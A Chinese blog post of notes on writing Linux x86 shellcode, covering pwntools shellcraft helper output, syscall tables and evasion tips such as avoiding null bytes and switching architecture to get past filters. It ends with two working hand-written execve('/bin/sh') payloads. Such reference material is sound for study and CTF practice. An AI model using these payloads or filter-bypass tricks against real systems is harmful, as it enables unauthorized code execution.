BetaMao

shellcode

字数统计: 1.2k阅读时长: 6 min
2017/12/25 Share

记录点写shellcode的小技巧~

shellstorm

获取shellcode,首先当然是网上找呀,这里机上shellstorm,神奇的是他还提供了api呢!于是很多工具都能够调用获取它的sc,例如peda插件的shellcode指令。

owasp zsc

支持生成Linux,osx,windows的shellcode,也支持调用shellstorm与混淆现有exp,方法就是help+tab,反正很好用啦~

pwntools

测试shellcode

1
run_assembly(asmTypeShellcode)

breakpoint

1
2
In [11]: print shellcraft.breakpoint()
int3

trap

1
2
In [48]: print shellcraft.trap()
int3

crash

1
2
3
4
In [12]: print shellcraft.crash()
popad /* fill all registers with shit */
xor esp, esp /* especially esp */
jmp esp /* boom */

nop

1
2
In [19]: print shellcraft.nop()
nop

prolog epilog

1
2
3
4
5
6
7
In [20]: print shellcraft.prolog()
push ebp
mov ebp, esp

In [14]: print shellcraft.epilog(3)
leave
ret 3*4

getpc

1
2
3
4
5
In [16]: print shellcraft.getpc('eax')
call INC_EBX
.equ INC_EBX, $-1
ret
pop eax

infloop

1
2
In [17]: print shellcraft.infloop()
jmp $

ret

1
2
3
4
5
In [21]: print shellcraft.ret(4)
push 4
pop eax

ret

mov

mov,不会出现null与换行符

1
2
3
4
5
In [37]: print shellcraft.mov('eax',0x12345678)
push 0x12345678
pop eax
In [38]: print shellcraft.mov('eax',0x12345678,stack_allowed=False)
mov eax, 0x12345678

push

将数字或者字符串放在栈上,不使用null与换行符

1
2
3
4
5
6
7
8
9
10
In [39]: print shellcraft.push('SYS_sendfile')
/* push SYS_sendfile (0xbb) */
push 0x1010101
xor dword ptr [esp], 0x10101ba

In [40]: print shellcraft.push('/bin/sh')
/* push '/bin/sh' */
push 0x1010101
xor dword ptr [esp], 0x169722e
push 0x6e69622f

pushstr

同上

pushstr_array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
In [43]: print shellcraft.pushstr_array('eax',['str1','str2','str3'])
/* push argument array ['str1\x00', 'str2\x00', 'str3\x00'] */
/* push 'str1\x00str2\x00str3\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1013273
push 0x1010101
xor dword ptr [esp], 0x75720133
push 0x1010101
xor dword ptr [esp], 0x73757201
push 0x31727473
xor eax, eax
push eax /* null terminate */
push 0xe
pop eax
add eax, esp
push eax /* 'str3\x00' */
push 0xd
pop eax
add eax, esp
push eax /* 'str2\x00' */
push 0xc
pop eax
add eax, esp
push eax /* 'str1\x00' */
mov eax, esp

setregs

1
2
3
4
In [44]: print shellcraft.setregs({'eax':1, 'ebx':'eax'})
mov ebx, eax
push 1
pop eax

xor

1
2
3
4
5
6
7
8
9
10
11
12
In [49]: print shellcraft.xor('keys',0x12345678,32)#32位异或字节数
/* xor('keys', 0x12345678, 0x20) */
push 0x20
pop eax
push 0x12345678
pop ecx
add eax, ecx
start_15:
xor DWORD PTR [ecx], 0x7379656b
add ecx, 4
cmp ecx, eax
jb start_15

i386_<->_amd64

转换执行,这可以绕过一些过滤

cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
In [24]: print shellcraft.cat('os.c')
/* push 'os.c\x00' */
push 1
dec byte ptr [esp]
push 0x632e736f
/* open(file='esp', oflag=0, mode='O_RDONLY') */
mov ebx, esp
xor ecx, ecx
xor edx, edx
/* call open() */
push SYS_open /* 5 */
pop eax
int 0x80
/* sendfile(out_fd=1, in_fd='eax', offset=0, count=2147483647) */
push 1
pop ebx
mov ecx, eax
xor edx, edx
push 0x7fffffff
pop esi
/* call sendfile() */
xor eax, eax
mov al, 0xbb
int 0x80

echo

(string, sock=’1’)

readfile

(path,dst=’esi’)

readn

(fd, buf, nbytes)

setregid/setreuid

sh

stage

(fd=0, length=None)

acceptloop_ipv4

等待连接,返回的socket被曝存在在ebp里面,只支持ipv4

connect

connect(host, port, network=’ipv4’)

mprotect_all

function

将pwntools提供的模板转换成函数,其实就是加了一个prolog()+epilog():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 [25]: print shellcraft.function('write', shellcraft.i386.linux.write, )
/* write() */
#ifndef _write_
#define _write_
write:
/* Save stack */
push ebp
mov ebp, esp
/* Load arguments */
/* write(fd=0, buf=0, n=0) */
xor ebx, ebx
xor ecx, ecx
xor edx, edx
/* call write() */
push SYS_write /* 4 */
pop eax
int 0x80
/* Restore stack */
leave
ret
#endif /* _write_ */

memcpy

内存拷贝

1
2
3
4
5
6
7
8
9
10
11
In [33]: print shellcraft.memcpy(0x1234,0x4321,10)
/* memcpy(0x1234, 0x4321, 0xa) */
cld
push 9 /* mov ecx, '\n' */
pop ecx
inc ecx
xor edi, edi
mov di, 0x1234
xor esi, esi
mov si, 0x4321
rep movsb

strcpy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
In [45]: print shellcraft.strcpy('eax',0x12345678)
mov edi, eax
push 0x12345678
pop esi
push edi
xor eax, eax
push -1
pop ecx
mov edi, esi
repnz scas al, BYTE PTR [edi]
inc ecx
inc ecx
neg ecx
/* moving ecx into ecx, but this is a no-op */
pop edi
inc ecx
rep movs BYTE PTR [edi], BYTE PTR [esi]

strlen

1
2
3
4
5
6
7
8
9
10
11
In [47]: print shellcraft.strlen(0x1234567,'eax')
xor eax, eax
push -1
pop ecx
push 0x1234567
pop edi
repnz scas al, BYTE PTR [edi]
inc ecx
inc ecx
neg ecx
mov eax, ecx

dir

dupio

dupsh

egghunter

(egg, start_address = 0)搜索egg地址,返回值为第一个匹配项,被存入RDI

手肝

调用表

这才是写本篇的目的,要手写,当然要先祭出系统调用表咯:

1
2
3
4
5
 arch/ABI    instruction           syscall #  retval  error    Notes
────────────────────────────────────────────────────────────────────
i386 int $0x80 eax eax -
x86-64 syscall rax rax - [5]
x32 syscall rax rax - [5]
1
2
3
4
5
arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
──────────────────────────────────────────────────────────────
i386 ebx ecx edx esi edi ebp -
x86-64 rdi rsi rdx r10 r8 r9 -
x32 rdi rsi rdx r10 r8 r9 -
%rax System call %rdi %rsi %rdx %r10 %r8 %r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
9 sys_mmap unsigned long addr unsigned long len unsigned long prot unsigned long flags unsigned long fd unsigned long off
10 sys_mprotect unsigned long start size_t len unsigned long prot
11 sys_munmap unsigned long addr size_t len
15 sys_rt_sigreturn unsigned long __unused
37 sys_alarm unsigned int seconds
56 sys_clone unsigned long clone_flags unsigned long newsp void *parent_tid void *child_tid
57 sys_fork
59 sys_execve const char *filename const char *const argv[] const char *const envp[]
60 sys_exit int error_code
62 sys_kill pid_t pid int sig
101 sys_ptrace long request long pid unsigned long addr unsigned long data
157 sys_prctl int option unsigned long arg2 unsigned long arg3 unsigned long arg4 unsigned long arg5
161 sys_chroot const char *filename
317 sys_seccomp unsigned int op unsigned int flags const char __user *uargs
322 stub_execveat int dfd const char __user *filename const char __user *const __user *argv const char __user *const __user *envp int flags
### sh
这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[section .data]
global _start

_start:
jmp sh
se:
pop ebx
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11
int 0x80
sh:
call se
db '/bin/sh',0
或者这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
[section .data]
global _start

_start:
push 0x68 $保证后面有0
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11 $这里使用pushpop可以缩短一字节
int 0x80
在长度不够的时候可以先调用read溢出更长。
### alphanumeric

参考

[1]
[2]
[3]
[4]https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl
[5]https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
[6]http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
[7]https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html

CATALOG
  1. 1. shellstorm
  2. 2. owasp zsc
  3. 3. pwntools
    1. 3.1. 测试shellcode
    2. 3.2.
      1. 3.2.1. breakpoint
      2. 3.2.2. trap
      3. 3.2.3. crash
      4. 3.2.4. nop
      5. 3.2.5. prolog epilog
      6. 3.2.6. getpc
      7. 3.2.7. infloop
      8. 3.2.8. ret
      9. 3.2.9. mov
      10. 3.2.10. push
      11. 3.2.11. pushstr
      12. 3.2.12. pushstr_array
      13. 3.2.13. setregs
      14. 3.2.14. xor
      15. 3.2.15. i386_<->_amd64
    3. 3.3.
      1. 3.3.1. cat
      2. 3.3.2. echo
      3. 3.3.3. readfile
      4. 3.3.4. readn
      5. 3.3.5. setregid/setreuid
      6. 3.3.6. sh
      7. 3.3.7. stage
      8. 3.3.8. acceptloop_ipv4
      9. 3.3.9. connect
      10. 3.3.10. mprotect_all
      11. 3.3.11. function
      12. 3.3.12. memcpy
      13. 3.3.13. strcpy
      14. 3.3.14. strlen
      15. 3.3.15. dir
      16. 3.3.16. dupio
      17. 3.3.17. dupsh
      18. 3.3.18. egghunter
  4. 4. 手肝
    1. 4.1. 调用表
  5. 5. 参考